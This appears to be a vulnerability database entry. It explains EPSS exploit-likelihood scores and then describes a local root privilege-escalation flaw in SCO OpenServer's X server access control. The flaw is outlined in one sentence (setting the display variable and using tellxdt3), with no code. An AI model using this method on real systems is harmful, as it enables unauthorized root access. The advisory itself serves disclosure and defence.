EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

OpenServer is a Unix based operating system distributed by Santa Cruz Operations.
A problem in access control of the X server could allow a local user to gain elevated privileges. When the X Window System is started via the xhost script, insufficient xhost access control allows a user to execute commands on the desktop. This can be exploited by setting the display environment variable, and using the tellxdt3 program.
This problem makes it possible for a local user to execute commands as root.
